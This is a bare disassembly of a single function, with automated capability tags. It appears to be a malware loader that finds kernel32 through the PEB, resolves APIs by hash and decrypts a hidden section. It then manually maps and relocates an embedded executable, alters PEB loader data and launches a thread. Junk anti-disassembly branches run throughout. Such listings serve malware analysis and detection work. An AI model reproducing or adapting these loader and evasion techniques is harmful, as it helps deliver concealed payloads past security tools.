Function at 0x4022f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x42a010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
add eax, 0x3a
jne 0x40231f
call 0x3dcb8802
xor byte [eax], al
add byte [eax], al
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x59ee00], eax
push str.FreeConsole
push dword [0x59ee00]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
call eax
mov eax, 0x169
cmp eax, 0x26
ja 0x402363
call 0x8cc5e9f8
invalid
mov byte [ebp - 0x174], 0
je 0x402370
jne 0x402370
jmp 0x307daea7
mov edi, dword [sym.imp.USER32.dll_ReleaseDC]
xor esi, esi
push 0
push 0
call edi
sub byte [esi + section..cSS], 0x52
push 0
push 0
call edi
add byte [esi + section..cSS], 0xc8
push 0
push 0
call edi
add byte [esi + section..cSS], 0x3d
push 0
push 0
call edi
xor byte [esi + section..cSS], 0xf7
push 0
push 0
call edi
add byte [esi + section..cSS], 0x68
push 0
push 0
call edi
add byte [esi + section..cSS], 0x53
push 0
push 0
call edi
add byte [esi + section..cSS], 0x72
push 0
push 0
call edi
xor byte [esi + section..cSS], 0x94
push 0
push 0
call edi
add byte [esi + section..cSS], 0x1d
push 0
push 0
call edi
add byte [esi + section..cSS], 0xfb
push 0
push 0
call edi
xor byte [esi + section..cSS], 0xcb
push 0
push 0
call edi
add byte [esi + section..cSS], 0xc2
push 0
push 0
call edi
xor byte [esi + section..cSS], 7
push 0
push 0
call edi
add byte [esi + section..cSS], 0xbb
inc esi
cmp esi, 0x172e00
jb 0x402378
mov edi, dword [0x42c03c]
mov dword [ebp - 0x160], edi
mov eax, 0x11
cmp eax, 0x13e
jl 0x402455
jmp 0x3ba6def9
mov edx, 0x731e3b66
call fcn.00402000
mov ecx, eax
je 0x402467
jne 0x402467
call 0x744499d5
add ch, al
retf 0x17b8
jne 0x40246d
je 0x40246d
call 0x57dd3a
add byte [eax], al
mov eax, 0x17
cmp eax, 0x11f
jl 0x40247b
jmp 0x68448f27
push 4
push 0x1000
push dword [edi + 0x42c050]
push 0
call ecx
push dword [edi + 0x42c054]
mov esi, eax
push section..cSS
push esi
mov dword [ebp - 0x188], esi
call fcn.00406d40
add esp, 0xc
stc
jb 0x4024ad
call 0xc80058ab
test dword [esi + edi*8 + 0xffff], ebx
add byte [eax], al
xor eax, eax
mov dword [ebp - 0x164], 0
cmp ax, word [edi + 0x42c006]
jae 0x402510
lea ecx, [edi + 0x42c10c]
mov dword [ebp - 0x154], ecx
nop
push dword [ecx - 4]
mov eax, dword [ecx]
add eax, section..cSS
push eax
mov eax, dword [ecx - 8]
add eax, esi
push eax
call fcn.00406d40
mov edx, dword [ebp - 0x164]
add esp, 0xc
mov ecx, dword [ebp - 0x154]
inc edx
movzx eax, word [edi + 0x42c006]
add ecx, 0x28
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x154], ecx
cmp edx, eax
jl 0x4024d0
mov eax, dword [edi + 0x42c080]
mov edx, 0x5aefa0fb
add eax, esi
mov dword [ebp - 0x158], eax
call fcn.00402000
mov dword [ebp - 0x180], eax
stc
jb 0x402533
call 0xa8c5b070
invalid
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x178], 0
cmp dword [eax], 0
je 0x4027ff
mov ecx, eax
mov dword [ebp - 0x168], eax
sub eax, eax
je 0x40255a
call 0xc91b062
mov edx, dword [ecx + 0xc]
xorps xmm0, xmm0
add edx, esi
movaps xmmword [ebp - 0x150], xmm0
mov ecx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402588
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x150]
call fcn.00403130
mov dword [ebp - 0x10], 0x7e72627c
xor eax, eax
mov dword [ebp - 0xc], 0x3f747463
mov dword [ebp - 8], 0x7d7d75
xor byte [ebp + eax - 0x10], 0x11
inc eax
cmp eax, 0xb
jb 0x4025b5
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
lea ecx, [ebp - 0x10]
movaps xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4025e4
sub ecx, edx
lea eax, [ebp - 0x10]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00403130
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x130]
lea edx, [ebp - 0x150]
mov edi, dword [ebp - 0x140]
cmovae ecx, eax
cmp dword [ebp - 0x13c], 0x10
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x150]
cmovae edx, eax
mov dword [ebp - 0x164], eax
cmp edi, dword [ebp - 0x120]
jne 0x40268f
sub edi, 4
jb 0x402659
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40265e
add edx, 4
add ecx, 4
sub edi, 4
jae 0x402648
cmp edi, 0xfffffffc
je 0x40268b
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x40268f
cmp edi, 0xfffffffd
je 0x40268b
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x40268f
cmp edi, 0xfffffffe
je 0x40268b
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x40268f
cmp edi, 0xffffffff
je 0x40268b
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x40268f
mov al, 1
jmp 0x402691
xor al, al
mov ecx, dword [ebp - 0x174]
test al, al
push dword [ebp - 0x170]
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x174], ecx
call dword [ebp - 0x180]
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x184], eax
mov eax, dword [edx]
add eax, esi
mov dword [ebp - 0x168], eax
mov eax, dword [edx + 0x10]
mov edx, 0xa7c20233
add eax, esi
mov dword [ebp - 0x16c], eax
call fcn.00402000
mov edx, eax
xor edi, edi
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x15c], edx
mov ecx, dword [eax]
test ecx, ecx
je 0x402740
mov dword [ebp - 0x170], edi
nop dword [eax]
lea eax, [esi + 2]
add eax, ecx
push eax
push dword [ebp - 0x184]
call edx
mov ecx, dword [ebp - 0x170]
lea edi, [edi + 1]
mov edx, dword [ebp - 0x16c]
mov dword [ecx + edx], eax
lea eax, [edi*4]
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x170], eax
mov ecx, dword [eax + ecx]
test ecx, ecx
jne 0x402700
mov eax, dword [ebp - 0x11c]
cmp eax, 0x10
jb 0x402788
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x154]
mov edx, eax
cmp ecx, 0x1000
jb 0x40277e
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x154], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x402d5e
mov eax, dword [ebp - 0x154]
push ecx
push eax
call fcn.00405a95
add esp, 8
mov eax, dword [ebp - 0x13c]
cmp eax, 0x10
jb 0x4027d0
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x164]
mov edx, eax
cmp ecx, 0x1000
jb 0x4027c6
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x164], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x402d5e
mov eax, dword [ebp - 0x164]
push ecx
push eax
call fcn.00405a95
add esp, 8
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x178], eax
lea eax, [eax + eax*4]
cmp dword [ecx + eax*4], 0
lea ecx, [ecx + eax*4]
mov dword [ebp - 0x168], ecx
jne 0x402554
mov edi, dword [ebp - 0x160]
mov ecx, dword [edi + 0x42c0a0]
add ecx, esi
mov dword [ebp - 0x154], ecx
xor eax, eax
je 0x402813
call 0x1009adfa
test bl, bl
add byte [eax], al
add byte [ebx - 0x7bf0ffc7], al
rol byte [eax], cl
add byte [eax], al
test ecx, ecx
je 0x4028f6
cmp dword [ecx], 0
je 0x4028f6
mov eax, 0x32
cmp eax, 0x1a3
jl 0x402832
call 0x481b5b2
lea eax, [ecx + 4]
mov edi, 0
mov dword [ebp - 0x16c], eax
mov eax, dword [eax]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x15c], eax
lea eax, [ecx + 8]
mov dword [ebp - 0x158], eax
je 0x4028d9
nop dword [eax]
mov eax, 0x78
cmp eax, 0xe
ja 0x40286c
call 0xa8c5b452
invalid
mov eax, dword [ebp - 0x158]
movzx ecx, word [eax + edi*2]
mov eax, 0x1d
cmp eax, 0x141
jl 0x402884
jmp 0xa8c5b3a8
mov eax, dword [ebp - 0x158]
and ecx, 0xfffff000
movzx edx, word [eax + edi*2]
and edx, 0xfff
cmp ecx, 0x3000
jne 0x4028ca
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
add ecx, edx
mov eax, dword [eax + 0x42c034]
sub dword [ecx + esi], eax
mov ecx, dword [ebp - 0x154]
mov eax, dword [ecx]
add eax, edx
add dword [eax + esi], esi
jmp 0x4028d0
mov ecx, dword [ebp - 0x154]
inc edi
cmp edi, dword [ebp - 0x15c]
jb 0x402860
mov eax, dword [ebp - 0x16c]
add ecx, dword [eax]
mov dword [ebp - 0x154], ecx
cmp dword [ecx], 0
jne 0x402824
mov edi, dword [ebp - 0x160]
mov edx, 0x8aafdc01
call fcn.00402000
mov ecx, eax
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x16c], ecx
sub eax, eax
je 0x402918
call 0x84c5b624
invalid
lea eax, [ebp - 0x17c]
push eax
push 2
push dword [edi + 0x42c054]
push esi
call ecx
xor eax, eax
mov dword [ebp - 0x158], 0
cmp ax, word [edi + 0x42c006]
jae 0x4029c1
lea ecx, [edi + 0x42c11c]
mov dword [ebp - 0x160], ecx
nop
mov eax, dword [ecx - 0x18]
add eax, esi
mov dword [ebp - 0x15c], eax
mov eax, dword [ecx]
je 0x402963
jne 0x402963
call 0xc208b54a
stc
pop ds
mov ecx, eax
sar ecx, 0x1f
test eax, 0x20000000
je 0x402977
and ecx, 0x20
add ecx, 0x20
jmp 0x40297d
and ecx, 2
add ecx, 2
lea eax, [ebp - 0x17c]
push eax
mov eax, dword [ebp - 0x160]
push ecx
push dword [eax - 0x1c]
push dword [ebp - 0x15c]
call dword [ebp - 0x16c]
mov edx, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x160]
inc edx
movzx eax, word [edi + 0x42c006]
add ecx, 0x28
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x160], ecx
cmp edx, eax
jl 0x402950
mov eax, dword [edi + 0x42c028]
add eax, esi
mov dword [ebp - 0x190], 0
cmp byte [ebp - 0x174], 0
mov esi, 0xff
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x108], 0xc500bc
mov dword [ebp - 0x104], 0xa300a3
mov dword [ebp - 0x100], 0x9600a8
mov dword [ebp - 0xfc], 0x9b0091
mov dword [ebp - 0xf8], 0x880090
mov dword [ebp - 0xf4], 0xa3008c
mov dword [ebp - 0xf0], 0x9600b2
mov dword [ebp - 0xec], 0x8d009c
mov dword [ebp - 0xe8], 0x8c0090
mov dword [ebp - 0xe4], 0x990090
mov dword [ebp - 0xe0], 0xd1008b
mov dword [ebp - 0xdc], 0xba00b1
mov dword [ebp - 0xd8], 0xa300ab
mov dword [ebp - 0xd4], 0x8d00b9
mov dword [ebp - 0xd0], 0x92009e
mov dword [ebp - 0xcc], 0x88009a
mov dword [ebp - 0xc8], 0x8d0090
mov dword [ebp - 0xc4], 0xa30094
mov dword [ebp - 0xc0], 0xcb0089
mov dword [ebp - 0xbc], 0xcf00d1
mov dword [ebp - 0xb8], 0xcc00d1
mov dword [ebp - 0xb4], 0xcc00cf
mov dword [ebp - 0xb0], 0xc600ce
mov dword [ebp - 0xac], 0xbe00a3
mov dword [ebp - 0xa8], 0x8f008f
mov dword [ebp - 0xa4], 0x9e00b3
mov dword [ebp - 0xa0], 0x91008a
mov dword [ebp - 0x9c], 0x97009c
mov dword [ebp - 0x98], 0x9a00d1
mov dword [ebp - 0x94], 0x9a0087
mov dword [ebp - 0x90], 0xff00ff
mov dword [ebp - 0x8c], 0xff00ff
mov dword [ebp - 0x88], 0xff00ff
mov dword [ebp - 0x84], 0xff00ff
mov dword [ebp - 0x80], 0xff00ff
mov dword [ebp - 0x7c], 0xff00ff
mov dword [ebp - 0x78], 0xff00ff
mov dword [ebp - 0x74], 0x3d92dc2c
mov dword [ebp - 0x70], 0xc26d23d3
mov dword [ebp - 0x6c], 0xff00ff
mov dword [ebp - 0x68], 0xff00fe
mov dword [ebp - 0x64], 0xff00fe
mov dword [ebp - 0x60], 0xff00fe
mov dword [ebp - 0x5c], 0xff00fe
mov dword [ebp - 0x58], 0xff00fe
mov dword [ebp - 0x54], 0xff00ff
mov dword [ebp - 0x50], 0xff00ff00
mov dword [ebp - 0x4c], 0xff00fe
mov dword [ebp - 0x48], 0xff00d0
mov dword [ebp - 0x44], 0xff00fe
mov dword [ebp - 0x40], 0xff00ff
mov dword [ebp - 0x3c], 0xff00ff
mov dword [ebp - 0x38], 0xff00ff
mov dword [ebp - 0x34], 0xff00ff
mov dword [ebp - 0x30], 0xff00ff
mov dword [ebp - 0x2c], 0xff00ff
mov dword [ebp - 0x28], 0xff00ff
mov dword [ebp - 0x24], 0xff00ff
mov dword [ebp - 0x20], 0xff00ff
mov dword [ebp - 0x1c], 0xff00ff
mov dword [ebp - 0x18], 0xff00ff
je 0x402ce9
mov eax, 0x32
cmp eax, 0x6d
jl 0x402c12
jmp 0x15683bf4
movaps xmm2, xmmword [0x4278c0]
xor eax, eax
nop dword [eax + eax]
movups xmm0, xmmword [ebp + eax*2 - 0x108]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0x108], xmm0
movups xmm0, xmmword [ebp + eax*2 - 0xf8]
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0xf8], xmm0
movups xmm0, xmmword [ebp + eax*2 - 0xe8]
pxor xmm1, xmm0
movups xmmword [ebp + eax*2 - 0xe8], xmm1
movups xmm0, xmmword [ebp + eax*2 - 0xd8]
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0xd8], xmm0
add eax, 0x20
cmp eax, 0xe0
jb 0x402c20
cmp eax, 0xf4
jae 0x402ca0
nop dword [eax]
nop dword [eax + eax]
xor word [ebp + eax*2 - 0x108], si
inc eax
cmp eax, 0xf4
jb 0x402c90
mov eax, 4
cmp eax, 0x12f
jl 0x402cae
call 0x30e1913d
add byte [eax], al
add byte [ebx + 0xc408bc8], cl
mov eax, dword fs:[0x30]
mov ecx, eax
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
sub eax, 8
mov edx, dword [ebp - 0x188]
mov dword [ecx + 8], edx
mov dword [eax + 0x18], edx
add eax, 0x24
mov esi, eax
lea edi, [ebp - 0x190]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
mov dword [ecx + 4], edx
mov dword [ecx], 0x78
mov edx, 0x6f0c3cd
call fcn.00402000
mov ecx, eax
mov eax, 0x65
cmp eax, 9
ja 0x402d01
call 0x6cc5bac2
invalid
lea eax, [ebp - 0x194]
push eax
push 0
push 0
push dword [ebp - 0x15c]
push 0
push 0
call ecx
mov esi, eax
test esi, esi
je 0x402d4b
mov edx, 0x916d883f
call fcn.00402000
push 0x1f4
call eax
mov edx, 0xf8f151be
call fcn.00402000
push 0xffffffffffffffff
push esi
call eax
mov edx, 0x4f3647b6
call fcn.00402000
push esi
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405a57
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040a52a
int3